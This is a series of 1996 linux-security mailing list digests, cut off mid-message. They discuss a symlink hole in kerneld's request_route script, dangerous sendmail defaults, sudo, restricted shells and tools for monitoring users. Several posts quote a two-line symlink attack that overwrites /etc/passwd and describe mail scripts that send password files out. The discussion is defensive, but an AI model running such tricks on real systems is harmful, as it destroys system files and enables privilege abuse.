modem defaultroute noipdefault \ & # let pppd detach itself whenever it wants to... # # Timer to be killed by ip-up, tunable! Check kerneld delay as well # sleep 60 & sleepid=$! echo $sleepid > $LOCK wait $sleepid rm -f $LOCK exit 0 else exit 1 fi - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMb+XDMJFmFyXKPzRAQHLzwP9HAD/WCkirGpBUjLXIdcmhQcQMf3eJMDk Y5tU/7KkXR2afOmEncZEQs57FOhHaVtDiAMZ0B25Dn0ef6qhbYSS3wjzjh2V8m0d OHxnoRHTSApM1mQA2WFPYkzfqmFHXzQBHur6xNkl6JcJ9FiLFSQp3cQBjgcafX0C CaDXkJNTNSI= =8zfD - -----END PGP SIGNATURE----- ------------------------------ From: Jacques Gelinas Date: Thu, 13 Jun 1996 09:07:30 -0400 (EDT) Subject: [linux-security] Re: Big security hole in kerneld's request_route On Wed, 12 Jun 1996 [email protected] wrote: [Mod: Quoting trimmed. --Jeff.] > I was just looking at sources of newly released linux 2.0. > In modules-1.3.69k, in kerneld's subdirectory, there is a file > request_route.sh (see below). It's supposed to run as root, whenever > a route is requested. It is supposed to start pppd or something like > that. > > As it appears, it is possible to destroy system philes (such as /etc/passwd > and so on). The path should be changed to /var/run/request-route.pid It is unfortunate that there is no cleaner way to wait for pppd's success or failure. I mean to do something as simple as if /usr/sbin/pppd ... then echo ok else echo failure fi pppd just fork (goes in background) to soon. Maybe there is already an option. -------------------------------------------------------- Jacques Gelinas ([email protected]) Use Linux without reformating: Use UMSDOS. ------------------------------ End of linux-security-digest V2 #28 *********************************** linux-security-digest/v02.n029100664 1767 1767 52740 6161255745 15466 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #29 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 17 June 1996 Volume 02 : Number 029 RE: [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? [linux-security] wu.ftp, ftpaccess, and /bin/false shell [linux-security] Talk security? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). [linux-security] Thread regarding ~root. Re: [linux-security] Big security hole in kerneld's request_route Re: [linux-security] standard users,groups,perms? Re: [linux-security] suspicious users ---------------------------------------------------------------------- From: Al Longyear Date: Thu, 13 Jun 96 11:30:00 PDT Subject: RE: [linux-security] suspicious users You can use the ttysnoop code to look at their output and watch the keystrokes. Use either the ttysnoop or the corresponding telnet version. Both programs are on sunsite. You need to know which tty line they are using and when they are connected. However, if your system is properly secured then there is little that they can do to mess it up. If they do, then you have problems with your system and not really the user. You would need to re-examine the permissions and the protections and the passwords which you use. It is your responsibility to ensure the security of the system. If you truly don't trust the users and have some basis for this distrust then you have two real options: 1. Get rid of the users. Ask them to go someplace else. That's the easiest part. or, 2. If you can't do that, then you just need to live with the situation. (The reason for this is usually that you are providing computing services for your company.) Try to convince the users that it is in their best interest to simply do their job and not attempt to mess things up. Believe me, I know, sometimes it is hard to do. (Having 'firing' authority for security breakins helps a lot when you attempt to convince the users!!) However, above all, run the cops and tripwire code on your system. It will tell you if they have messed with anything important. Both of these are in the UNIX security archive ftp sites (not sunsite, nor tsx-11, but the 'real' ones. :) ) p.s.: suspicion != proof ---------- From: Douglas F. Elznic[SMTP:[email protected]] Sent: Saturday, June 08, 1996 1:21 PM To: linux-security Subject: [linux-security] suspicious users I am becoming suspicious of some users on my system. I am wondering what is the best way to watch what they do or have done. What have you (the members of list) done to "babysit" these users. ------------------------------ From: [email protected] (Felix von Leitner) Date: Thu, 13 Jun 1996 21:03:11 +0200 Subject: Re: [linux-security] Admin note (recent traffic surge). Thus spake Woody Weaver ([email protected]): > It is reasonable to have two uid 0 accounts? The idea is to minimize > risk but not permit single points of failure. The downside, of > course, is that with both "root" and "tuber" things like ftp or nfs > access to tuber do not have built in protection as it does against > root, so ideally one would have to patch daemons to recognize both > accounts as special (or get the authors to protect against uid 0 > accounts rather than a specific username). The NFS protection is against UID 0, not against the user name "root". Felix ------------------------------ From: "Daniel Roedding" Date: Thu, 13 Jun 1996 01:18:00 +0200 (MDT) Subject: Re: [linux-security] standard users,groups,perms? - -----BEGIN PGP SIGNED MESSAGE----- Hi! Adam wrote: > Could you please explain the benefits of not having root owned files on a > system? This concept seems to elude me. One some systems it make sense to maintain /usr/local by a group of non-root users. (We've got group "localbin"-writeable /usr/local/bin directories on some systems here, which makes sense if a team of administrators manage a bunch of Linux boxes together) But root on such a machine really should never use anything from the /usr/local tree then... Daniel - - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMb9QJGaWRTqP6nZNAQEVpwIAjodt+rRxFTXmOuiCeIhEiqmXEUVb+jyX MJpGK1JxFEjmenoSxt7fLMJEB3iNnp0uW+9WNI8Tw75TgBU3EJdwqQ== =tY/r - -----END PGP SIGNATURE----- ------------------------------ From: Richard Jones Date: Thu, 6 Jun 1996 09:20:20 -0400 (EDT) Subject: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Hi. I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby users with listings in the /etc/passwd file can upload to certain sections of a Linux-based web site. However, I'd like to deny these people telnet access. In ftpaccess I use the line: guestgroup ftponly ftponly is defined as a group in /etc/group and its users have /etc/passwd entries that look like: ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false This is straight out of O'Reilly's Managing Internet Info. Services. This doesn't work for me, though. With a shell set to /bin/false a user is not allowed to ftp login. Is this a Linux thing? The user can ftp login with /bin/bash or some other viable shell, but this opens up telnet ability to the user (I can't use /etc/hosts.deny because it's too coarse). Any insights into this situation, or other ideas on how to achieve full ftp access with no telnet access is greatly appreciated. - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Richard W. Jones [email protected] Distributed Systems Graduate Assistant SUNY Albany - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ------------------------------ From: Justin Dobbs Date: Wed, 12 Jun 1996 22:00:31 EDT Subject: [linux-security] Talk security? Hello, Are there any security holes associated with making the talk program the shell of a potentially public account? The shell would be /usr/bin/talk , with /usr/bin/talk listed in the /etc/shells file. Is there a potential for environment-style breakins? TIA, Justin Dobbs ------------------------------ From: Renegade Date: Thu, 13 Jun 1996 00:27:57 -0400 Subject: Re: [linux-security] standard users,groups,perms? Synthesizer Punk wrote: > > > The root account is nothing but an administration tool. Whomever > it was in the above quote (in my haste to prepare my mail, I didn't take > heed to who it was, but credit for the sensible knowledge is due) has the > right idea. I often time see people using IRC from root, which truely > disgusts me. Why compromise security like that? Do not read mail from > root, don't do user-things as root, and please dear god don't IRC as root. > All of those previous mentioned could make you a sitting target for a wily > cracker or a caniving prank. the root account is for doing things that > regular users shouldn't be able to, a hidden command to create/destroy > things. Do as you wish, but you only compromise security. I would have to agree. But I would like to point out at least one thing that can be done for root mail security. Many sendmail implementations have a dangerous default setup that amounts to a line like this in the sendmail.cf file: Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, Basically if a e-mail message begins like a sh shell script with a first line of: #!/bin/sh The email will be executed as a shell script (At the time it is read). Now, if you are reading mail as root: BOOOOOOOM! The shell script could open security holes and then erase itself so that you don't even know what it did. It could e-mail password files to the perpetrator, and many other nasties. One good solution is to replace the "/bin/sh" in the Mprog line to "/bin/false" or something similar. Another good idea is to use the /etc/alias file to make all mail that is not addressed to an actual person go to the system administrator. I do this on all the systems I administer at work. All mail to root, lp, postmaster, etc. all alias to me. This not only helps notify you of problems without logging in as root, but eliminates the possibility of a mail bomb being executed as root. I think the safest way to use the root account is to log in as a regular user, and su to root only as necessary. I play netrek and see users connecting from root accounts. This is probably just as bad as using IRC as root. Renegade - -- // mailto:[email protected] // http://www.dnaco.net/~renegade/ ------------------------------ From: Brian Davidson Date: Thu, 13 Jun 1996 00:37:49 -0400 (EDT) Subject: Re: [linux-security] Admin note (recent traffic surge). On Tue, 11 Jun 1996, Woody Weaver wrote: > I have one question about uid 0 accounts. Of course one wants to give > minimum permissions to accounts, and the more uid 0 passwords floating > around the more risks one takes. Generally, the "all the eggs in one > basket and watch that basket very closely" is a good idea. However, > as one author noted, if you permit a novice to su and do work, there > is a possibility that they might do something that prevents normal use > of the system, such as accidentally changing the root password. How effective is sudo in situations like this? That can give certain users rights to run a limited set of programs as root. I've got sudo rights on a few systems, and can't crash the system, or do anything super fancy with the limited set of commands that I've been given. I've wondered for a while about how secure sudo really is. I realize that allowing a user to run a program that can escape to a shell would defeat this program. Well selected programs seem to be pretty secure though (I think... I haven't dug around the code yet, though). > My solution, of course, is just to have a separate boot media handy; > given that I'm running linux on a PC, its easy to boot off of floppy > and mount the main file system on a convenient mount point -- physical > security beats software security. But some linux boxes may be in > inconvient locations, or be hardware modified as to be unable to boot > from floppy. > It is reasonable to have two uid 0 accounts? The idea is to minimize > risk but not permit single points of failure. The downside, of > course, is that with both "root" and "tuber" things like ftp or nfs > access to tuber do not have built in protection as it does against > root, so ideally one would have to patch daemons to recognize both > accounts as special (or get the authors to protect against uid 0 > accounts rather than a specific username). I don't see why 2 uid 0 accounts are necessary. Various security schemes have been dreamed up in the past which split the sensitve security areas into the control of different "users". The problem is, if I can get into the one that controls the memory, then I can change all of my permissions (if that info is loaded into memory), and do whatever I want anyway. If I just can hack the part to let me access the drives, then I can patch the kernel, so next time it boots I've got back doors, etc. Because of this, I think that 1 account which you guard very well is the best solution. One account is hard enough to keep an eye on, anyway. __________________________ Brian Davidson [email protected] http://mason.gmu.edu/~bdavids1 ------------------------------ From: [email protected] (Paul McNabb) Date: Thu, 13 Jun 1996 08:36:33 -0500 Subject: Re: [linux-security] standard users,groups,perms? > Date: Tue, 11 Jun 1996 23:44:28 -0400 (EDT) > From: Sanjay Kapur > > On Tue, 11 Jun 1996, Rogier Wolff wrote: > > > To do this, every uid should get > > a bitvector of privileges. Every "suser()" call in the > > kernel should get mapped to one of the bits. The default > > setup sets all of these bits to "enabled" for "root" and > > "disabled" for all other users. > > > > A secure setup would deminish the vector for "root"(?) and increase > > it for other users. (e.g. the "bind to low ports" bit and the > > "change uid to normal uids" bit should be on for "sendmail" > > running as user "mailerdeamon") The login program only needs > > change_uid (even to root? Maybe not. Abolish root logins!) > > [Mod: Quoting trimmed. --Jeff] > > VMS, Secure VMS etc. have this and it is very well documented. Another > thing that higher level security requires is Access Control Lists (ACLs) > rather than the very simplistic user/group/world security model of Unix. You can do exactly the same thing with Solaris 2.4/5. User ID 0 can be a regular user with no special characteristics at all. All of the normal root privileges can be split up and assigned to programs rather than to a user, and then limited access can be given to the programs. There are attributes you can assign to a Java-enabled browser so that even if you are running it as root (on standard Solaris 2.4/5) and the applets can issue any system call sequence, you can still protect any file system object. There are all kinds of this security out there, people just have to know about it and be willing to use it. paul - ------------------------------------------------------------ Paul McNabb [email protected] Argus Systems Group, Inc. TEL 217-384-6300 1405A East Florida Avenue FAX 217-384-6404 Urbana, IL 61801 USA - ------------------------------------------------------------ ------------------------------ From: N D Ghaznavi Date: Thu, 13 Jun 1996 13:21:38 -0400 (EDT) Subject: Re: [linux-security] Admin note (recent traffic surge). On Tue, 11 Jun 1996, Woody Weaver wrote: > My solution, of course, is just to have a separate boot media handy; > given that I'm running linux on a PC, its easy to boot off of floppy > and mount the main file system on a convenient mount point -- physical > security beats software security. But some linux boxes may be in > inconvient locations, or be hardware modified as to be unable to boot > from floppy. A slightly more robust alternative is to have a small partition with a mini linux system on it. That way if you lose root access on the main system you boot into the minisystem using LILO (it's *not* the default kernel image), login as root using the root password, mount the main partition and fix whatever it is you need to (eg, blank out the root passwd entry in /etc/passwd), and then reboot into the main system. Yeah, it requires physical access, but that's a measure of security too. Don't be fooled into complacency though, 'cause someone could edit your lilo.conf, run lilo and reboot into this system remotely too. I.e. make sure it's a good root password on the backup mini system. I've been using this setup for quite some time now, with no complaints. It's also saved me considerable grief a couple of times (i.e. boot disks hassles etc etc you know the drill...). [Mod: Quoting trimmed. --Jeff.] ------------------------------ From: Jeff Uphoff Date: Sun, 16 Jun 1996 14:52:47 -0400 Subject: [linux-security] Thread regarding ~root. - -----BEGIN PGP SIGNED MESSAGE----- I'm now "squashing" this thread on the location, contents, etc., of ~root under Linux: I won't be forwarding any more posts that are solely related to this topic; some of the posts are getting repetitive and I've had a couple of private e-mail requests now to wrap this thing up. Thanks for your patience! - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface iQCVAwUBMcRX+noDqzGe1QXFAQHkTAQAhj5QM6XvMy1mGM5SQSxxW8OPdjND9vTu 0ljdqzhv7VwvdvAhvg5gKxjcBBo0qo+JbEIv2JPqwMgzMHxfpAgYUTYIJ3P+FEZR n3MIRdWcZlRC6fbFUH7mg8fNXJ0jORDHMCV9MBZTPHveEovhQHo4xvcCrGMQ1Cjq HoM7pOMrWls= =C3u3 - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Mark Whitis Date: Thu, 13 Jun 1996 17:28:28 -0400 (EDT) Subject: Re: [linux-security] Big security hole in kerneld's request_route On Wed, 12 Jun 1996 [email protected] wrote: > you $ ln -s /etc/passwd /tmp/request-route > you$ ping 204.251.80.30 Given that we have had multiple reports of security holes related to symbolic links in publicly writeable directories, it might be time to consider a kernel patch which would allow us to set a flag on a directory which: - prevents creation of symbolic links (except, perhaps, to files which already exist and are owned by the owner of the link) except by root or some specified group. - propagates to all directories created under that directory. It could also be implemented via some list of protected trees: /etc/nosymlinks: /tmp /var/tmp But this would probably be much harder to implement, particularly correctly, than a flag on a directory. Another alternative, since permission bits may be limited, is to create a special group "nosymlink" and make the directories in question owned by that group and have the kernel setup to provide the restrictions listed above (including propagation) PLUS prevent the owner from setting the setgid bit or changing the group. This could interfere with file transfer from one user to another through tmp unless they made it world writable. Another method would be to create a mount option "nosymlinks", similar to "nosuid", and put your publicly writeable filesystems there. The best method would be to incorporate the feature into the ACL mechanism when it gets here. - --------------------------------------------------------------------------- - --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- - --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- - --------------------------------------------------------------------------- ------------------------------ From: [email protected] (Remy Card) Date: Fri, 14 Jun 1996 05:53:03 +0200 (MET DST) Subject: Re: [linux-security] standard users,groups,perms? Rogier Wolff wrote: > Agreed. Is Remi Card on this list? We should try to push him to > implement ACLs finally... (Or was I at the north pole while it was > implemented :-) Yep. I am on this list, but I don't read it very often: I tend to keep mails from some lists and to read them ``in batch mode'' when I have enough time. > [Mod: Remy's not on this list (that I know of, though he might be on it > via a secondary exploder), Well, I use a kind of secondary exploder (actually a local alias that is subscribed to the list). > but he is working in this direction. See > linux.nrao.edu:/pub/linux/packages/ext2fs/slides/berlin96/acl-* > (mirrored from tsx-11) for a brief outline of his current ACL work. > --Jeff.] Right. I have a prototype that currently crashes^H^H^H^H^H^H^Hruns on my machine. A test release should be available at the end of june, and will be announced on the linux-kernel mailing list. I'll try to remember to send an announcement to the security lists as well. Remt ------------------------------ From: Peter Orbaek Date: Thu, 13 Jun 96 17:15:12 EDT Subject: Re: [linux-security] suspicious users >I am becoming suspicious of some users on my system. I am wondering what is >the best way to watch what they do or have done. >What have you (the members of list) done to "babysit" these users. Things I, and others, have been doing on Suns and other platforms: - Hack their shell to log certain users' commands via syslog() or to a special hidden file. It's actually quite useful to have such shells installed all the time and be able to turn on snooping for certain users in some config file. - Use telnetsnoopd if they are coming in over telnet, this will allow logging of their entire session. I've sometimes heard of problems with telnetsnoopd: that it may sit around buring CPU time to no good use, so be careful. - Hacking telnet to log everything for specific users, this is useful if you're not running telnetsnoopd and you're suspecting that a user is hacking other systems. - Periodic 'rsh ps' dumps of the user's processes. - Periodic remote screendumps using the sunos screendump facility. - Use tcpdump or snoop (Solaris) to dump eg. all telnet packets going from/to a certain host. This can generate a LOT of data. With linux you could also hack the kernel to log output to certain tty's somewhere, maybe this is already possible? Add a couple of ioctl calls to the tty driver to set dumping conditions and where to dump the stuff. Does Linux support process logging these days? Of course, all of this should be done only be people wearing white hats! Your users will hate you if you do this without proper cause. If you're a commercial access provider, it would be advisable to tell your users up front that you can and will eavesdrop on them if you suspect foul play. - Peter. ------------------------------ End of linux-security-digest V2 #29 *********************************** linux-security-digest/v02.n030100664 1767 1767 63502 6162035553 15446 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #30 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 19 June 1996 Volume 02 : Number 030 Re: [linux-security] suspicious users Re: [linux-security] suspicious users Re: [linux-security] Re: Big security hole in kerneld's request_route Re: [linux-security] suspicious users Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] Talk security? Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] standard users,groups,perms? [linux-security] Disabeling symlinks? No! don't write to /tmp! [linux-security] Symlinks as holes (Was: Big security hole in kerneld's request_route) [linux-security] /bin/false Re: [linux-security] Big security hole in kerneld's request_route ---------------------------------------------------------------------- From: "Edward S. Marshall" Date: Thu, 13 Jun 1996 18:49:53 -0500 (CDT) Subject: Re: [linux-security] suspicious users On Sat, 8 Jun 1996, Douglas F. Elznic wrote: > I am becoming suspicious of some users on my system. I am wondering what is > the best way to watch what they do or have done. > What have you (the members of list) done to "babysit" these users. An old package I used to play with that came with an ancient Slackware distribution was called "telnetsnoop". I haven't seen it since then, but it allowed you to monitor everything that the remote user saw and typed. I'd check into the legalities of running such a thing on your system, however; it could vary from place to place. Also, keep an eye on your logs. You'll see failed su attempts there, along with many other things which might lend a hand to finding out what they're up to. As well, you can enable logging of some services (wu.ftpd, for example, allows for very verbose logging) which will give you more data to operate on. - -- .-----------------------------------------------------------------------------. | Edward S. Marshall | CII Technical Administrator, | | http://www.common.net/~emarshal/ | Vice-President, Common Internet | | Finger for PGP public key. | Inc, and Linux & LPmud (ab)user. | `-----------------------------------------------------------------------------' ------------------------------ From: "Mario D. Santana" Date: Thu, 13 Jun 1996 16:12:48 -0400 (EDT) Subject: Re: [linux-security] suspicious users Sounds like you need to look into ttysnoops. I use it, it works. ftp.inbe.net:/pub/staff/carl Use ethically, .dave Douglas F. Elznic wrote: > I am becoming suspicious of some users on my system. I am wondering what is > the best way to watch what they do or have done. > What have you (the members of list) done to "babysit" these users. ------------------------------ From: "/* (c) 1996 dMv */" Date: Thu, 13 Jun 1996 22:56:24 -0400 (EDT) Subject: Re: [linux-security] Re: Big security hole in kerneld's request_route On Thu, 13 Jun 1996, Jacques Gelinas wrote: > > As it appears, it is possible to destroy system philes (such as /etc/passwd > > and so on). > > The path should be changed to /var/run/request-route.pid Just to start another 'religious' holy war, why isn't it a policy to use a priveledged tmp location for priveledged processes. Seems to me like this is a security issue with a bunch of programs that are necessarily powerful (you'll all recall the XFree86 tempfile problem, etc) We really should try and make it a policy to have 'special' temp files be in a dir like /var/tmp/, and let standard users use /tmp/... Reactions? dMv ------------------------------ From: Benedikt Stockebrand Date: Fri, 14 Jun 1996 13:34:36 +0200 Subject: Re: [linux-security] suspicious users Aside from Als suggestions I recommend to take a look at their files, especially executables, and their command history. I hope you're realizing about your users privacy, so you better don't do this ``just in case''. Otherwise it might well backfire. Ben - -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. [Mod: There have been several more posts recommending things like ttysnoop, telnetsnoop, etc. I only approved the first few. --Jeff.] ------------------------------ From: [email protected] (JaDe) Date: Fri, 14 Jun 1996 16:00:53 -0700 (PDT) Subject: Re: [linux-security] Admin note (recent traffic surge). > I have one question about uid 0 accounts. Of course one wants to give > minimum permissions to accounts, and the more uid 0 passwords floating > around the more risks one takes. Generally, the "all the eggs in one > basket and watch that basket very closely" is a good idea. However, > as one author noted, if you permit a novice to su and do work, there > is a possibility that they might do something that prevents normal use > of the system, such as accidentally changing the root password. > I recommend two root accounts (root and 'toor' or 'ruut' or whatever). The one root account is "normal" and used by all who need root access. The other gets a random string as a password -- this is hand written onto paper after being generated and the paper is sealed in a "security" envelope and locked in a safe (i.e. forget about it until "normal" root's account is dead). For the other one I suggest that only *one* person (the primary admin) has the real password. Everyone else that needs root access uses 'sudo su -' (they use *their own* password to become root). Wherever possible these other administrators actually aren't even allowed a direct root shell -- they execute sudo scripts that just provide them access to the commands that they really need (add.a.user, change.a.passwd, edit.aliases, etc). The advantages to this approach are in accountability. Each use of any root shell or script by any of the admins is logged (preferably to a remote, more secure machine). By having sudo in place -- and by examining the logs of usage (all su shell sessions should be running 'script') you can incrementally tighten up the security (by identifying what your admin team is *really doing* as root and scripting each part of it as possible). The sad reality of administering a multi-user Unix host (as opposed to a workstation, or a server) is that there are too many administrative tasks with require root access for which is *should* be possible to delegate to trusted admins. (This happens to a lesser degree in Netware and to an even greater degree in NT and probably in varying degrees in other systems). 'sudo' is no panacea (any scripts you write are subject to the same potential bugs as an SUID script) the main advantages are that you limit who uses the script (without a *shared* password), and you get logging for free. I've set up certain "psuedo accounts" (like the 'mlist' "Mail List Manager" and 'postgres' "Postgres DB Admin") with a '*' password and configured the system to only allow 'sudo su - ... ' to access those accounts. I've even considered making the 'root' password '*' and using the same technique (been to busy/timid to try that yet). Does anyone know of potential problems with this approach? Does anyone on this list have suggestions or caveats for those of us that are still learning 'sudo'? Can anyone offer us some reasonable alternatives for delegating/distributing *limited* administrative functions? ------------------------------ From: Zefram Date: Mon, 17 Jun 1996 00:22:28 +0100 (BST) Subject: Re: [linux-security] Talk security? - -----BEGIN PGP SIGNED MESSAGE----- >Are there any security holes associated with making the talk >program the shell of a potentially public account? The >shell would be /usr/bin/talk , with /usr/bin/talk >listed in the /etc/shells file. Is there a potential for >environment-style breakins? Certainly. I wouldn't take the risk, myself -- there are several possible avenues of attack. I think this question illustrates some fundamental security issues, so I'll talk in general terms here. Whatever program you use as the login shell of a restricted account must fulfill certain criteria. It will execute in an environment (in the broad sense of the word) over which potentially malicious people have some control. The program must not perform any action the administrator does not want these potentially malicious people to be able to perform. To put it more bluntly, this program is more privileged than the user -- it has the capability, from the OS's point of view, to do things that the user should not be allowed to do. In this way, the program is in a similar position to being setuid, and a lot of the practical issues are the same. Allow me to contrast this with the majority of programs. Most programs have no special privilege, and the limits on their actions -- conceptually equal to the limits on whoever is running them -- are enforced by the OS in the normal way. Privileged programs must be written very carefully, because the OS will allow them to do more than their invoker is allowed to do. Given that the program in question is to be privileged, the fact that *it was never intended to be secure* is a serious problem. When a program is put into this privileged position, you must examine its source, line by line, to make sure it cannot do anything other than what it was intended to do. A simple garbaged pointer bug could allow the program to leak privileges. And make absolutely sure that what it does is exactly what you *want* it to do -- an undocumented feature might, cleanly and intentionally, invoke a shell, for example. It is always easier to make a program secure in this sense when one is writing it from scratch, with the intention that it be privileged, than when one is faced with an existing program that does what one wants to do in a privileged position. I must say that, if faced with this particular problem, I would rather rewrite the program from scratch than review the existing code. To take the classic example of this type of problem, /bin/{true,false} on many systems are shell scripts, and are also used as login shells to lock accounts. Being shell scripts is not a problem when the programs are unprivileged (though it's inefficient and in rare cases can cause them to misbehave), but when put in a privileged situation they give away that privilege all too easily. I've taken advantage of this security hole on one system, su-ing to a restricted account whose login shell was a shell script. (That particular shell script has now been replaced by a binary.) On *my* box, true and false are binaries -- less than 100 bytes each (Linux a.out) -- and *completely* ignore the environment they are run in. On a separate issue, you mentioned putting this program into /etc/shells. This is a very bad idea, for a number of reasons. Basically, /etc/shells is a list of programs used as shells for *unrestricted* accounts, and should *never* contain any program you intend to use as the shell of a restricted account. /etc/shells is used by several programs as a way to determine whether an account is restricted or not -- this is a nice engineering compromise, typical of Unix -- and adding the shell of a restricted account to it will result in these programs giving the restricted account more access than intended. I have seen systems that misused /etc/shells in this way, and I've even taken advantage of the resulting security holes to a small extent. The most obvious thing /etc/shells is used for is nonymous ftp. You probably don't want to allow ftp access to this account. If you do, things get a lot more complicated. But don't forget that it's used by other programs too; for example, GNU su (a security hole in itself, for obvious reasons) allows the user to run an arbitrary program instead of the target user's login shell, if the target user is an unrestricted account (login shell in /etc/shells). So, to summarise, *don't* put an insecure program in a privileged position, and *don't* list a restricted shell as unrestricted. -zefram - -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBMcSXBHD/+HJTpU/hAQGe5QQApcYGEE9L76oKaER3lkQZgCLO9suC/7KO Z+f+SjqPGF43qzLuzQ2P4CrNAIO6O3M5g50glShgCiNk7UgVl8VyfHVQDaD9AtU3 0CizdH1oV254DUgRxcVGKpf8DWvCOvqB9G8YLiQazBv8SX+25Gv6ir+Jrb6whPkY wZQHYPfYJNA= =1AJp - -----END PGP SIGNATURE----- - -- Andrew Main ------------------------------ From: Vaughn Skinner Date: Sun, 16 Jun 1996 15:52:33 -0700 Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell This is not a linux-security issue. [Mod: Agreed--I forwarded it anyway, mainly because this issue is of potential interest to a large number of Linux users. --Jeff.] I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby users with listings in the /etc/passwd file can upload to certain sections of a Linux-based web site. However, I'd like to deny these people telnet access. In ftpaccess I use the line: guestgroup ftponly ftponly is defined as a group in /etc/group and its users have /etc/passwd entries that look like: ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false This is straight out of O'Reilly's Managing Internet Info. Services. This doesn't work for me, though. With a shell set to /bin/false a user is not allowed to ftp login. Is this a Linux thing? The user can ftp login with /bin/bash or some other viable shell, but this opens up telnet ability to the user (I can't use /etc/hosts.deny because it's too coarse). Any insights into this situation, or other ideas on how to achieve full ftp access with no telnet access is greatly appreciated. This should do what you are trying to do: Copy /bin/false to /bin/noshell. Add a line in /etc/shells (so that /bin/noshell is a valid shell so ftp will accept it): /bin/noshell Change the shell in the passwd example above to /bin/noshell vaughn ------------------------------ From: Michael Brennen Date: Sun, 16 Jun 1996 22:13:17 -0500 (CDT) Subject: Re: [linux-security] standard users,groups,perms? On Thu, 13 Jun 1996, Renegade wrote: > I would have to agree. But I would like to point out at least > one thing that can be done for root mail security. Many sendmail > implementations have a dangerous default setup that amounts to a line > like this in the sendmail.cf file: > > Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, > > Basically if a e-mail message begins like a sh shell script > with a first line of: > > #!/bin/sh [...clip...] 8.7.* sendmails fix this, as well as some of the later 8.6 series. Another alternative is to install smrsh as the shell that executes programs. This allows a much tighter environment. smrsh comes with the 8.7 distribution, though it is not really a formal part of sendmail. -- Michael ------------------------------ From: [email protected] (Rogier Wolff) Date: Mon, 17 Jun 1996 10:14:00 +0200 (METDST) Subject: [linux-security] Disabeling symlinks? No! don't write to /tmp! > On Wed, 12 Jun 1996 [email protected] wrote: > > > you $ ln -s /etc/passwd /tmp/request-route > > you$ ping 204.251.80.30 > > Given that we have had multiple reports of security holes related > to symbolic links in publicly writeable directories, it might > be time to consider a kernel patch which would allow us to set > a flag on a directory which: Reasonable. However, the main point is not that symlinks are dangerous (they are just one way to exploit the root of the problem), the dangerous part is that a process with root-priviliges is writing to a publicly writable directory. The correct way to improve security in this case would be to define a directory e.g. "/stmp" which is a directory that should be used by all programs that need temp files, whenever they have root-priviliges. so opening a tempfile should be: fp = fopen ("/stmp/my_temp_file"); if (!fp) fp = fopen ("/tmp/my_temp_file"); If the first fopen succeeds, we are priviliged, and should use the /stmp directory. (whenever acl's or the like are implemented, programs that now require a setgid bit may be added to the list of programs that are allowed to write to /stmp to increase security even further) Roger. - -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: [email protected] (Craig Woodward) Date: Mon, 17 Jun 1996 10:35:54 -0400 Subject: [linux-security] Symlinks as holes (Was: Big security hole in kerneld's request_route) >On Wed, 12 Jun 1996 [email protected] wrote: > >> you $ ln -s /etc/passwd /tmp/request-route >> you$ ping 204.251.80.30 > >Given that we have had multiple reports of security holes related >to symbolic links in publicly writeable directories, it might >be time to consider a kernel patch which would allow us to set >a flag on a directory which: > - prevents creation of symbolic links (except, perhaps, > to files which already exist and are owned by the > owner of the link) except by root or some specified > group. > - propagates to all directories created under that directory. > >Another method would be to create a mount option "nosymlinks", similar >to "nosuid", and put your publicly writeable filesystems there. While I would love to have the ACL method work under Linux, I'm not holding my breath. I love ACLs under VMS (about the only thing I love about it...), but don't think Linux will have it any time soon. My soultion to the symbolic link mess was to hack the xiafs driver (as a module) to no have the capacity to sym-link. Then I mount one small partition as xiafs, under /secure, and symlink things I want in that arena into /secure (ie /tmp is a link to /secure/tmp). This defeats about 90% of the sym-link bugs. Race condition bugs are still there, but at least this fixes most of them. -Woody ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 17 Jun 96 15:50 BST Subject: [linux-security] /bin/false If your "false" is a shell script DONT use it as /bin/noshell (consider the ENV= bash attach, 